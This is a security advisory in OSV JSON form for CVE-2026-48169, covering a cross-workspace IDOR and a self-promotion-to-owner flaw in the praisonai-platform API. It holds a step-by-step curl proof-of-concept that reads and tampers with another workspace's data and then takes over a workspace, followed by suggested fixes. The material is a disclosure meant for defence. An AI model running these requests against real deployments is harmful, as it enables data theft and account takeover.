CVE-2026-48169: Praisonai platform PraisonAI Has Cross-Workspace IDOR And Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gv23-xrm3-8c62",
  "modified" : "2026-08-07T21:16:57Z",
  "published" : "2026-05-29T22:32:45Z",
  "aliases" : [ "CVE-2026-48169" ],
  "summary" : "PraisonAI has Cross-Workspace IDOR and Privilege Escalation via Platform API",
  "details" : "### Summary\n\nThe PraisonAI Platform API has two authorization failures that together break workspace isolation. The service layer for issues and projects performs global primary-key lookups without checking workspace ownership, so any authenticated user can read, modify, and delete resources in any workspace just by swapping UUIDs in their API requests. On top of that, every member management endpoint (add, update role, remove) only requires `min_role=\"member\"`, which lets any workspace member promote themselves to owner and kick out the original owner. A low-privilege member of one workspace can steal data from every other workspace and take over any workspace they belong to.\n\nBoth issues come from the same gap: the route layer pulls `workspace_id` from the URL and verifies membership, but the service layer ignores the workspace scope for resource lookups and ignores the caller's role level for member operations. The `require_workspace_member()` dependency does its job correctly. The problem is that the service layer doesn't use the information it provides.\n\n### Details\n\n#### Part 1: Cross-Workspace IDOR (Issues and Projects)\n\n**Vulnerable Files:**\n- `praisonai_platform/services/issue_service.py`\n- `praisonai_platform/services/project_service.py`\n- `praisonai_platform/api/routes/issues.py`\n- `praisonai_platform/api/routes/projects.py`\n\nThere is a consistent split between the route layer and the service layer. Routes pull `workspace_id` from the URL and verify membership:\n\n```\nGET /api/v1/workspaces/{workspace_id}/issues/{issue_id}\n                        ^^^^^^^^^^^^^^\n                        require_workspace_member() checks this\n```\n\nBut the service methods these routes call perform global lookups that ignore `workspace_id` entirely:\n\n**IssueService.get(), line 72:**\n\n```python\nasync def get(self, issue_id: str) -> Optional[Issue]:\n    \"\"\"Get issue by ID.\"\"\"\n    return await self._session.get(Issue, issue_id)\n```\n\n**ProjectService.get(), line 47:**\n\n```python\nasync def get(self, project_id: str) -> Optional[Project]:\n    \"\"\"Get project by ID.\"\"\"\n    return await self._session.get(Project, project_id)\n```\n\nBoth use `session.get(Model, pk)`, which is a global lookup by primary key with no `WHERE workspace_id = ?` filter.\n\nCompare that with the properly scoped `list_for_workspace()` methods in the same files:\n\n**IssueService.list_for_workspace(), line 76:**\n\n```python\nasync def list_for_workspace(self, workspace_id: str, ...) -> list[Issue]:\n    stmt = select(Issue).where(Issue.workspace_id == workspace_id)\n    # ... properly scoped\n```\n\nThe listing is scoped correctly. The get, update, and delete methods are not. Since `update()` and `delete()` in both services call `self.get()` internally, the workspace bypass cascades through all write operations too.\n\n**Route that discards workspace_id, issues.py line 82:**\n\n```python\n@router.get(\"/{issue_id}\", response_model=IssueResponse)\nasync def get_issue(\n    workspace_id: str,                                        # Extracted from URL\n    issue_id: str,\n    user: AuthIdentity = Depends(require_workspace_member),   # Membership verified\n    session: AsyncSession = Depends(get_db),\n):\n    svc = IssueService(session)\n    issue = await svc.get(issue_id)   # workspace_id never passed to service\n```\n\n**All affected operations:**\n\n| Service | Method | Line | Workspace scoped? |\n|---------|--------|------|-------------------|\n| IssueService | `get()` | 72 | No, uses `session.get(Issue, issue_id)` |\n| IssueService | `update()` | 97 | No, calls `self.get(issue_id)` |\n| IssueService | `delete()` | 150 | No, calls `self.get(issue_id)` |\n| IssueService | `list_for_workspace()` | 76 | **Yes**, filters by `workspace_id` |\n| ProjectService | `get()` | 47 | No, uses `session.get(Project, project_id)` |\n| ProjectService | `update()` | 62 | No, calls `self.get(project_id)` |\n| ProjectService | `delete()` | 88 | No, calls `self.get(project_id)` |\n| ProjectService | `get_stats()` | 97 | No, only filters by `project_id` |\n| ProjectService | `list_for_workspace()` | 51 | **Yes**, filters by `workspace_id` |\n\n#### Part 2: Workspace Takeover via Missing Role Enforcement\n\n**Vulnerable Files:**\n- `praisonai_platform/api/routes/workspaces.py` (member management routes)\n- `praisonai_platform/api/deps.py` (authorization dependency)\n- `praisonai_platform/services/member_service.py` (role hierarchy implementation)\n\nThe authorization dependency supports role-based access:\n\n**require_workspace_member(), deps.py line 54:**\n\n```python\nasync def require_workspace_member(\n    workspace_id: str,\n    user: AuthIdentity = Depends(get_current_user),\n    session: AsyncSession = Depends(get_db),\n    min_role: str = \"member\",         # Accepts higher roles, but nobody passes them\n) -> AuthIdentity:\n    member_svc = MemberService(session)\n    has = await member_svc.has_role(workspace_id, user.id, min_role)\n    if not has:\n        raise HTTPException(status_code=403, ...)\n```\n\nThe `has_role()` method correctly implements role hierarchy:\n\n**MemberService.has_role(), member_service.py line 80:**\n\n```python\nasync def has_role(self, workspace_id, user_id, required_role) -> bool:\n    \"\"\"Role hierarchy: owner > admin > member.\"\"\"\n    member = await self.get(workspace_id, user_id)\n    if member is None:\n        return False\n    role_levels = {\"owner\": 3, \"admin\": 2, \"member\": 1}\n    user_level = role_levels.get(member.role, 0)\n    required_level = role_levels.get(required_role, 0)\n    return user_level >= required_level\n```\n\nThis works correctly, but no route ever calls `require_workspace_member` with `min_role=\"owner\"` or `min_role=\"admin\"`. Every member management route uses the default `\"member\"`:\n\n**Self-promotion, workspaces.py line 115:**\n\n```python\n@router.patch(\"/{workspace_id}/members/{user_id}\", response_model=MemberResponse)\nasync def update_member_role(\n    workspace_id: str,\n    user_id: str,\n    body: MemberUpdate,\n    user: AuthIdentity = Depends(require_workspace_member),  # min_role=\"member\"\n    session: AsyncSession = Depends(get_db),\n):\n    member_svc = MemberService(session)\n    member = await member_svc.update_role(workspace_id, user_id, body.role)\n    # No check: is user modifying their own role? (self-promotion)\n    # No check: is body.role > caller's current role? (escalation)\n    # No check: is target a higher role than caller? (modifying superiors)\n```\n\n**Owner removal, workspaces.py line 130:**\n\n```python\n@router.delete(\"/{workspace_id}/members/{user_id}\", status_code=204)\nasync def remove_member(\n    workspace_id: str,\n    user_id: str,\n    user: AuthIdentity = Depends(require_workspace_member),  # min_role=\"member\"\n    ...\n):\n    member_svc = MemberService(session)\n    removed = await member_svc.remove(workspace_id, user_id)\n    # No check: is target a higher role than caller?\n    # No check: is this the last owner?\n```\n\nThree checks are missing from `update_member_role`: self-modification, upward escalation, and modifying superiors. Two checks are missing from `remove_member`: role hierarchy and last-owner protection.\n\n### PoC\n\n**Prerequisites:**\n- A running PraisonAI Platform instance with default configuration\n- No special configuration required\n\n**Server setup:**\n\n```bash\ncd /path/to/PraisonAI\npip install -e \"src/praisonai-platform\"\npython -m uvicorn praisonai_platform.api.app:create_app \\\n  --factory --host 127.0.0.1 --port 8000\n```\n\n#### Scenario: Full attack chain (IDOR + Privilege Escalation)\n\n**Step 1: Victim (CEO) creates workspace with sensitive data**\n\n```bash\nBASE=\"http://127.0.0.1:8000/api/v1\"\n\n# Register CEO\nVICTIM=$(curl -sfL -X POST \"$BASE/auth/register\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"email\":\"ceo@targetcorp.com\",\"password\":\"Secure123!\",\"name\":\"CEO\"}')\nVICTIM_TOKEN=$(echo \"$VICTIM\" | python3 -c \"import sys,json; print(json.load(sys.stdin)['token'])\")\nVICTIM_ID=$(echo \"$VICTIM\" | python3 -c \"import sys,json; print(json.load(sys.stdin)['user']['id'])\")\n\n# CEO creates workspace with confidential issue\nVICTIM_WS=$(curl -sfL -X POST \"$BASE/workspaces/\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $VICTIM_TOKEN\" \\\n  -d '{\"name\":\"Executive Board\"}' \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)['id'])\")\n\nISSUE_ID=$(curl -sfL -X POST \"$BASE/workspaces/$VICTIM_WS/issues/\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $VICTIM_TOKEN\" \\\n  -d '{\"title\":\"M&A Target List\",\"description\":\"Acquiring CompanyX for $2B. Board approved. Do not disclose.\"}' \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)['id'])\")\necho \"Victim workspace: $VICTIM_WS\"\necho \"Secret issue: $ISSUE_ID\"\n```\n\n**Step 2: Attacker registers and creates their own workspace**\n\n```bash\nATTACKER=$(curl -sfL -X POST \"$BASE/auth/register\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"email\":\"attacker@evil.com\",\"password\":\"Evil123!\",\"name\":\"Attacker\"}')\nATK_TOKEN=$(echo \"$ATTACKER\" | python3 -c \"import sys,json; print(json.load(sys.stdin)['token'])\")\nATK_ID=$(echo \"$ATTACKER\" | python3 -c \"import sys,json; print(json.load(sys.stdin)['user']['id'])\")\n\nATK_WS=$(curl -sfL -X POST \"$BASE/workspaces/\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $ATK_TOKEN\" \\\n  -d '{\"name\":\"Attacker WS\"}' \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)['id'])\")\n```\n\n**Step 3: IDOR - Attacker reads victim's confidential issue through their own workspace**\n\n```bash\ncurl -sfL \"$BASE/workspaces/$ATK_WS/issues/$ISSUE_ID\" \\\n  -H \"Authorization: Bearer $ATK_TOKEN\"\n```\n\n**Observed output (HTTP 200):**\n\n```json\n{\n  \"id\": \"<ISSUE_ID>\",\n  \"workspace_id\": \"<VICTIM_WS>\",\n  \"title\": \"M&A Target List\",\n  \"description\": \"Acquiring CompanyX for $2B. Board approved. Do not disclose.\",\n  \"status\": \"backlog\"\n}\n```\n\nThe response contains the victim's `workspace_id`, which is different from the workspace in the request URL. The request was scoped to `$ATK_WS` but returned data from `$VICTIM_WS`.\n\n**Step 4: IDOR - Attacker modifies victim's issue**\n\n```bash\ncurl -sfL -X PATCH \"$BASE/workspaces/$ATK_WS/issues/$ISSUE_ID\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $ATK_TOKEN\" \\\n  -d '{\"title\":\"TAMPERED - M&A Target List\"}'\n```\n\n**Observed output (HTTP 200):** Title updated across workspace boundary.\n\n**Step 5: Privilege escalation - CEO adds attacker as member (simulating invite)**\n\n```bash\ncurl -sfL -X POST \"$BASE/workspaces/$VICTIM_WS/members/\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $VICTIM_TOKEN\" \\\n  -d \"{\\\"user_id\\\":\\\"$ATK_ID\\\",\\\"role\\\":\\\"member\\\"}\" > /dev/null\n```\n\n**Step 6: Privilege escalation - Member promotes self to owner**\n\n```bash\nPROMO=$(curl -sfL -X PATCH \"$BASE/workspaces/$VICTIM_WS/members/$ATK_ID\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $ATK_TOKEN\" \\\n  -d '{\"role\":\"owner\"}')\necho \"$PROMO\" | python3 -c \"import sys,json; d=json.load(sys.stdin); print(f'Role: {d[\\\"role\\\"]}')\"\n```\n\n**Observed output:**\n\n```\nRole: owner\n```\n\nThe member used their own member-level token to promote themselves to owner.\n\n**Step 7: Privilege escalation - Attacker removes original owner**\n\n```bash\ncurl -sLo /dev/null -w \"HTTP %{http_code}\" -X DELETE \\\n  \"$BASE/workspaces/$VICTIM_WS/members/$VICTIM_ID\" \\\n  -H \"Authorization: Bearer $ATK_TOKEN\"\n```\n\n**Observed output:** `HTTP 204` - CEO removed from their own workspace.\n\n**Step 8: Verify - Attacker is sole owner**\n\n```bash\ncurl -sfL \"$BASE/workspaces/$VICTIM_WS/members/\" \\\n  -H \"Authorization: Bearer $ATK_TOKEN\"\n```\n\n**Observed output:**\n\n```json\n[\n  {\n    \"workspace_id\": \"<VICTIM_WS>\",\n    \"user_id\": \"<ATK_ID>\",\n    \"role\": \"owner\"\n  }\n]\n```\n\nThe CEO is locked out. The attacker is now the sole owner of \"Executive Board\" and all its data.\n\n\n### Impact\n\n- **Complete multi-tenant data breach:** Any authenticated user can read every issue and project across all workspaces by substituting resource UUIDs. The URL structure (`/workspaces/{workspace_id}/...`) implies tenant isolation but provides none.\n- **Cross-workspace data tampering:** An attacker can modify issue titles, descriptions, statuses, assignments, and project fields across workspace boundaries.\n- **Cross-workspace data deletion:** An attacker can delete issues and projects belonging to other workspaces.\n- **Workspace takeover from member role:** Any member can self-promote to owner and remove all other owners, gaining sole control of the workspace and everything in it.\n- **No recovery mechanism:** After takeover, the original owner cannot access or recover their workspace. There is no super-admin role, no audit-based rollback, and no last-owner protection.\n- **Chain amplifies impact:** The IDOR does not require membership in the target workspace, only membership in any workspace. The privilege escalation turns that foothold into full ownership. Together, a user with a single member-level invite to any workspace can read all data platform-wide and take ownership of any workspace they are invited to.\n\n---\n\n## Suggested Fix\n\n**1. Scope all service get/update/delete methods to workspace_id**\n\n```python\n# issue_service.py, replace get() at line 72:\nasync def get(self, issue_id: str, workspace_id: str) -> Optional[Issue]:\n    \"\"\"Get issue by ID, scoped to workspace.\"\"\"\n    issue = await self._session.get(Issue, issue_id)\n    if issue is None or issue.workspace_id != workspace_id:\n        return None\n    return issue\n\n# Apply the same pattern to update(), delete(), and all ProjectService methods\n```\n\n**2. Pass workspace_id from routes to services**\n\n```python\n# issues.py, fix get_issue at line 82:\nissue = await svc.get(issue_id, workspace_id)  # Now workspace-scoped\n```\n\n**3. Require owner role for member management and add escalation guards**\n\n```python\n# workspaces.py, fix update_member_role:\nuser: AuthIdentity = Depends(\n    lambda **kw: require_workspace_member(**kw, min_role=\"owner\")\n)\n\n# Add self-modification and last-owner guards:\nif user_id == user.id:\n    raise HTTPException(403, \"Cannot change your own role\")\n\n# Fix remove_member:\ntarget = await member_svc.get(workspace_id, user_id)\nif target and target.role == \"owner\":\n    owners = [m for m in await member_svc.list_members(workspace_id) if m.role == \"owner\"]\n    if len(owners) <= 1:\n        raise HTTPException(403, \"Cannot remove the last owner\")\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonai-platform"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.1.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.1.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gv23-xrm3-8c62"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-48169"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/praisonai-platform/PYSEC-2026-2935.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-639", "CWE-862" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-29T22:32:45Z",
    "nvd_published_at" : null
  }
}